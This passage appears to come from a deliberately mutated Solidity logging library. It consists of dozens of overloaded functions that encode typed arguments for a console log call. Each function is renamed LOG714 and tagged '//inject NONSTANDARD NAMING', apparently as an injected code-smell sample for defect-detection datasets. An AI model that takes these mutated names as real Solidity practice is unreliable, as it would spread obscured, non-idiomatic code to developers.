}
function LOG714(address p0, bool p1, bool p2) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,bool,bool)", p0, p1, p2));
}
function LOG714(address p0, bool p1, address p2) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,bool,address)", p0, p1, p2));
}
function LOG714(address p0, address p1, uint p2) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,address,uint)", p0, p1, p2));
}
function LOG714(address p0, address p1, string memory p2) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,address,string)", p0, p1, p2));
}
function LOG714(address p0, address p1, bool p2) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,address,bool)", p0, p1, p2));
}
function LOG714(address p0, address p1, address p2) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,address,address)", p0, p1, p2));
}
function LOG714(uint p0, uint p1, uint p2, uint p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,uint,uint,uint)", p0, p1, p2, p3));
}
function LOG714(uint p0, uint p1, uint p2, string memory p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,uint,uint,string)", p0, p1, p2, p3));
}
function LOG714(uint p0, uint p1, uint p2, bool p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,uint,uint,bool)", p0, p1, p2, p3));
}
function LOG714(uint p0, uint p1, uint p2, address p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,uint,uint,address)", p0, p1, p2, p3));
}
function LOG714(uint p0, uint p1, string memory p2, uint p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,uint,string,uint)", p0, p1, p2, p3));
}
function LOG714(uint p0, uint p1, string memory p2, string memory p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,uint,string,string)", p0, p1, p2, p3));
}
function LOG714(uint p0, uint p1, string memory p2, bool p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,uint,string,bool)", p0, p1, p2, p3));
}
function LOG714(uint p0, uint p1, string memory p2, address p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,uint,string,address)", p0, p1, p2, p3));
}
function LOG714(uint p0, uint p1, bool p2, uint p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,uint,bool,uint)", p0, p1, p2, p3));
}
function LOG714(uint p0, uint p1, bool p2, string memory p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,uint,bool,string)", p0, p1, p2, p3));
}
function LOG714(uint p0, uint p1, bool p2, bool p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,uint,bool,bool)", p0, p1, p2, p3));
}
function LOG714(uint p0, uint p1, bool p2, address p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,uint,bool,address)", p0, p1, p2, p3));
}
function LOG714(uint p0, uint p1, address p2, uint p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,uint,address,uint)", p0, p1, p2, p3));
}
function LOG714(uint p0, uint p1, address p2, string memory p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,uint,address,string)", p0, p1, p2, p3));
}
function LOG714(uint p0, uint p1, address p2, bool p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,uint,address,bool)", p0, p1, p2, p3));
}
function LOG714(uint p0, uint p1, address p2, address p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,uint,address,address)", p0, p1, p2, p3));
}
function LOG714(uint p0, string memory p1, uint p2, uint p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,string,uint,uint)", p0, p1, p2, p3));
}
function LOG714(uint p0, string memory p1, uint p2, string memory p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,string,uint,string)", p0, p1, p2, p3));
}
function LOG714(uint p0, string memory p1, uint p2, bool p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,string,uint,bool)", p0, p1, p2, p3));
}
function LOG714(uint p0, string memory p1, uint p2, address p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,string,uint,address)", p0, p1, p2, p3));
}
function LOG714(uint p0, string memory p1, string memory p2, uint p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,string,string,uint)", p0, p1, p2, p3));
}
function LOG714(uint p0, string memory p1, string memory p2, string memory p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,string,string,string)", p0, p1, p2, p3));
}
function LOG714(uint p0, string memory p1, string memory p2, bool p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,string,string,bool)", p0, p1, p2, p3));
}
function LOG714(uint p0, string memory p1, string memory p2, address p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,string,string,address)", p0, p1, p2, p3));
}
function LOG714(uint p0, string memory p1, bool p2, uint p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,string,bool,uint)", p0, p1, p2, p3));
}
function LOG714(uint p0, string memory p1, bool p2, string memory p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,string,bool,string)", p0, p1, p2, p3));
}
function LOG714(uint p0, string memory p1, bool p2, bool p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,string,bool,bool)", p0, p1, p2, p3));
}
function LOG714(uint p0, string memory p1, bool p2, address p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,string,bool,address)", p0, p1, p2, p3));
}
function LOG714(uint p0, string memory p1, address p2, uint p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,string,address,uint)", p0, p1, p2, p3));
}
function LOG714(uint p0, string memory p1, address p2, string memory p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,string,address,string)", p0, p1, p2, p3));
}
function LOG714(uint p0, string memory p1, address p2, bool p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,string,address,bool)", p0, p1, p2, p3));
}
function LOG714(uint p0, string memory p1, address p2, address p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,string,address,address)", p0, p1, p2, p3));
}
function LOG714(uint p0, bool p1, uint p2, uint p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,bool,uint,uint)", p0, p1, p2, p3));
}
function LOG714(uint p0, bool p1, uint p2, string memory p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,bool,uint,string)", p0, p1, p2, p3));
}
function LOG714(uint p0, bool p1, uint p2, bool p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,bool,uint,bool)", p0, p1, p2, p3));
}
function LOG714(uint p0, bool p1, uint p2, address p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,bool,uint,address)", p0, p1, p2, p3));
}
function LOG714(uint p0, bool p1, string memory p2, uint p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,bool,string,uint)", p0, p1, p2, p3));
}
function LOG714(uint p0, bool p1, string memory p2, string memory p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,bool,string,string)", p0, p1, p2, p3));
}
function LOG714(uint p0, bool p1, string memory p2, bool p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,bool,string,bool)", p0, p1, p2, p3));
}
function LOG714(uint p0, bool p1, string memory p2, address p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,bool,string,address)", p0, p1, p2, p3));
}
function LOG714(uint p0, bool p1, bool p2, uint p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,bool,bool,uint)", p0, p1, p2, p3));
}
function LOG714(uint p0, bool p1, bool p2, string memory p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,bool,bool,string)", p0, p1, p2, p3));
}
function LOG714(uint p0, bool p1, bool p2, bool p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,bool,bool,bool)", p0, p1, p2, p3));
}
function LOG714(uint p0, bool p1, bool p2, address p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,bool,bool,address)", p0, p1, p2, p3));
}
function LOG714(uint p0, bool p1, address p2, uint p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,bool,address,uint)", p0, p1, p2, p3));
}
function LOG714(uint p0, bool p1, address p2, string memory p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,bool,address,string)", p0, p1, p2, p3));
}
function LOG714(uint p0, bool p1, address p2, bool p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,bool,address,bool)", p0, p1, p2, p3));
}
function LOG714(uint p0, bool p1, address p2, address p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,bool,address,address)", p0, p1, p2, p3));
}
function LOG714(uint p0, address p1, uint p2, uint p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,address,uint,uint)", p0, p1, p2, p3));
}
function LOG714(uint p0, address p1, uint p2, string memory p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,address,uint,string)", p0, p1, p2, p3));
}
function LOG714(uint p0, address p1, uint p2, bool p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,address,uint,bool)", p0, p1, p2, p3));
}
function LOG714(uint p0, address p1, uint p2, address p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,address,uint,address)", p0, p1, p2, p3));
}
function LOG714(uint p0, address p1, string memory p2, uint p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,address,string,uint)", p0, p1, p2, p3));
}
function LOG714(uint p0, address p1, string memory p2, string memory p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,address,string,string)", p0, p1, p2, p3));
}
function LOG714(uint p0, address p1, string memory p2, bool p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,address,string,bool)", p0, p1, p2, p3));
}
function LOG714(uint p0, address p1, string memory p2, address p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,address,string,address)", p0, p1, p2, p3));
}
function LOG714(uint p0, address p1, bool p2, uint p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,address,bool,uint)", p0, p1, p2, p3));
}
function LOG714(uint p0, address p1, bool p2, string memory p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,address,bool,string)", p0, p1, p2, p3));
}
function LOG714(uint p0, address p1, bool p2, bool p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,address,bool,bool)", p0, p1, p2, p3));
}
function LOG714(uint p0, address p1, bool p2, address p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,address,bool,address)", p0, p1, p2, p3));
}
function LOG714(uint p0, address p1, address p2, uint p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,address,address,uint)", p0, p1, p2, p3));
}
function LOG714(uint p0, address p1, address p2, string memory p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,address,address,string)", p0, p1, p2, p3));
}
function LOG714(uint p0, address p1, address p2, bool p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,address,address,bool)", p0, p1, p2, p3));
}
function LOG714(uint p0, address p1, address p2, address p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,address,address,address)", p0, p1, p2, p3));
}
function LOG714(string memory p0, uint p1, uint p2, uint p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,uint,uint,uint)", p0, p1, p2, p3));
}
function LOG714(string memory p0, uint p1, uint p2, string memory p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,uint,uint,string)", p0, p1, p2, p3));
}
function LOG714(string memory p0, uint p1, uint p2, bool p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,uint,uint,bool)", p0, p1, p2, p3));
}
function LOG714(string memory p0, uint p1, uint p2, address p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,uint,uint,address)", p0, p1, p2, p3));
}
function LOG714(string memory p0, uint p1, string memory p2, uint p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,uint,string,uint)", p0, p1, p2, p3));
}
function LOG714(string memory p0, uint p1, string memory p2, string memory p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,uint,string,string)", p0, p1, p2, p3));
}
function LOG714(string memory p0, uint p1, string memory p2, bool p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,uint,string,bool)", p0, p1, p2, p3));
}
function LOG714(string memory p0, uint p1, string memory p2, address p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,uint,string,address)", p0, p1, p2, p3));
}
function LOG714(string memory p0, uint p1, bool p2, uint p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,uint,bool,uint)", p0, p1, p2, p3));
}
function LOG714(string memory p0, uint p1, bool p2, string memory p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,uint,bool,string)", p0, p1, p2, p3));
}
function LOG714(string memory p0, uint p1, bool p2, bool p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,uint,bool,bool)", p0, p1, p2, p3));
}
function LOG714(string memory p0, uint p1, bool p2, address p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,uint,bool,address)", p0, p1, p2, p3));
}
function LOG714(string memory p0, uint p1, address p2, uint p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,uint,address,uint)", p0, p1, p2, p3));
}
function LOG714(string memory p0, uint p1, address p2, string memory p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,uint,address,string)", p0, p1, p2, p3));
}
function LOG714(string memory p0, uint p1, address p2, bool p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,uint,address,bool)", p0, p1, p2, p3));
}
function LOG714(string memory p0, uint p1, address p2, address p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,uint,address,address)", p0, p1, p2, p3));
}
function LOG714(string memory p0, string memory p1, uint p2, uint p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,string,uint,uint)", p0, p1, p2, p3));
}
function LOG714(string memory p0, string memory p1, uint p2, string memory p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,string,uint,string)", p0, p1, p2, p3));
}
function LOG714(string memory p0, string memory p1, uint p2, bool p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,string,uint,bool)", p0, p1, p2, p3));
}
function LOG714(string memory p0, string memory p1, uint p2, address p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,string,uint,address)", p0, p1, p2, p3));
}
function LOG714(string memory p0, string memory p1, string memory p2, uint p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,string,string,uint)", p0, p1, p2, p3));
}
function LOG714(string memory p0, string memory p1, string memory p2, string memory p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,string,string,string)", p0, p1, p2, p3));
}
function LOG714(string memory p0, string memory p1, string memory p2, bool p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,string,string,bool)", p0, p1, p2, p3));
}
function LOG714(string memory p0, string memory p1, string memory p2, address p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,string,string,address)", p0, p1, p2, p3));
}
function LOG714(string memory p0, string memory p1, bool p2, uint p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,string,bool,uint)", p0, p1, p2, p3));
}
function LOG714(string memory p0, string memory p1, bool p2, string memory p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,string,bool,string)", p0, p1, p2, p3));
}
function LOG714(string memory p0, string memory p1, bool p2, bool p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,string,bool,bool)", p0, p1, p2, p3));
}
function LOG714(string memory p0, string memory p1, bool p2, address p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,string,bool,address)", p0, p1, p2, p3));
}
function LOG714(string memory p0, string memory p1, address p2, uint p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,string,address,uint)", p0, p1, p2, p3));
}
function LOG714(string memory p0, string memory p1, address p2, string memory p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,string,address,string)", p0, p1, p2, p3));
}
function LOG714(string memory p0, string memory p1, address p2, bool p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,string,address,bool)", p0, p1, p2, p3));
}
function LOG714(string memory p0, string memory p1, address p2, address p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,string,address,address)", p0, p1, p2, p3));
}
function LOG714(string memory p0, bool p1, uint p2, uint p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,bool,uint,uint)", p0, p1, p2, p3));
}
function LOG714(string memory p0, bool p1, uint p2, string memory p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,bool,uint,string)", p0, p1, p2, p3));
}
function LOG714(string memory p0, bool p1, uint p2, bool p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,bool,uint,bool)", p0, p1, p2, p3));
}
function LOG714(string memory p0, bool p1, uint p2, address p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,bool,uint,address)", p0, p1, p2, p3));
}
function LOG714(string memory p0, bool p1, string memory p2, uint p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,bool,string,uint)", p0, p1, p2, p3));
}
function LOG714(string memory p0, bool p1, string memory p2, string memory p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,bool,string,string)", p0, p1, p2, p3));
}
function LOG714(string memory p0, bool p1, string memory p2, bool p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,bool,string,bool)", p0, p1, p2, p3));
}
function LOG714(string memory p0, bool p1, string memory p2, address p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,bool,string,address)", p0, p1, p2, p3));
}
function LOG714(string memory p0, bool p1, bool p2, uint p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,bool,bool,uint)", p0, p1, p2, p3));
}
function LOG714(string memory p0, bool p1, bool p2, string memory p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,bool,bool,string)", p0, p1, p2, p3));
}
function LOG714(string memory p0, bool p1, bool p2, bool p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,bool,bool,bool)", p0, p1, p2, p3));
}
function LOG714(string memory p0, bool p1, bool p2, address p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,bool,bool,address)", p0, p1, p2, p3));
}
function LOG714(string memory p0, bool p1, address p2, uint p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,bool,address,uint)", p0, p1, p2, p3));
}
function LOG714(string memory p0, bool p1, address p2, string memory p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,bool,address,string)", p0, p1, p2, p3));
}
function LOG714(string memory p0, bool p1, address p2, bool p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,bool,address,bool)", p0, p1, p2, p3));
}
function LOG714(string memory p0, bool p1, address p2, address p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,bool,address,address)", p0, p1, p2, p3));
}
function LOG714(string memory p0, address p1, uint p2, uint p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,address,uint,uint)", p0, p1, p2, p3));
}
function LOG714(string memory p0, address p1, uint p2, string memory p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,address,uint,string)", p0, p1, p2, p3));
}
function LOG714(string memory p0, address p1, uint p2, bool p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,address,uint,bool)", p0, p1, p2, p3));
}
function LOG714(string memory p0, address p1, uint p2, address p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,address,uint,address)", p0, p1, p2, p3));
}
function LOG714(string memory p0, address p1, string memory p2, uint p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,address,string,uint)", p0, p1, p2, p3));
}
function LOG714(string memory p0, address p1, string memory p2, string memory p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,address,string,string)", p0, p1, p2, p3));
}
function LOG714(string memory p0, address p1, string memory p2, bool p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,address,string,bool)", p0, p1, p2, p3));
}
function LOG714(string memory p0, address p1, string memory p2, address p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,address,string,address)", p0, p1, p2, p3));
}
function LOG714(string memory p0, address p1, bool p2, uint p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,address,bool,uint)", p0, p1, p2, p3));
}
function LOG714(string memory p0, address p1, bool p2, string memory p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,address,bool,string)", p0, p1, p2, p3));
}
function LOG714(string memory p0, address p1, bool p2, bool p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,address,bool,bool)", p0, p1, p2, p3));
}
function LOG714(string memory p0, address p1, bool p2, address p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,address,bool,address)", p0, p1, p2, p3));
}
function LOG714(string memory p0, address p1, address p2, uint p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,address,address,uint)", p0, p1, p2, p3));
}
function LOG714(string memory p0, address p1, address p2, string memory p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,address,address,string)", p0, p1, p2, p3));
}
function LOG714(string memory p0, address p1, address p2, bool p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,address,address,bool)", p0, p1, p2, p3));
}
function LOG714(string memory p0, address p1, address p2, address p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,address,address,address)", p0, p1, p2, p3));
}
function LOG714(bool p0, uint p1, uint p2, uint p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,uint,uint,uint)", p0, p1, p2, p3));
}
function LOG714(bool p0, uint p1, uint p2, string memory p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,uint,uint,string)", p0, p1, p2, p3));
}
function LOG714(bool p0, uint p1, uint p2, bool p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,uint,uint,bool)", p0, p1, p2, p3));
}
function LOG714(bool p0, uint p1, uint p2, address p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,uint,uint,address)", p0, p1, p2, p3));
}
function LOG714(bool p0, uint p1, string memory p2, uint p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,uint,string,uint)", p0, p1, p2, p3));
}
function LOG714(bool p0, uint p1, string memory p2, string memory p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,uint,string,string)", p0, p1, p2, p3));
}
function LOG714(bool p0, uint p1, string memory p2, bool p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,uint,string,bool)", p0, p1, p2, p3));
}
function LOG714(bool p0, uint p1, string memory p2, address p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,uint,string,address)", p0, p1, p2, p3));
}
function LOG714(bool p0, uint p1, bool p2, uint p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,uint,bool,uint)", p0, p1, p2, p3));
}
function LOG714(bool p0, uint p1, bool p2, string memory p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,uint,bool,string)", p0, p1, p2, p3));
}
function LOG714(bool p0, uint p1, bool p2, bool p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,uint,bool,bool)", p0, p1, p2, p3));
}
function LOG714(bool p0, uint p1, bool p2, address p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,uint,bool,address)", p0, p1, p2, p3));
}
function LOG714(bool p0, uint p1, address p2, uint p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,uint,address,uint)", p0, p1, p2, p3));
}
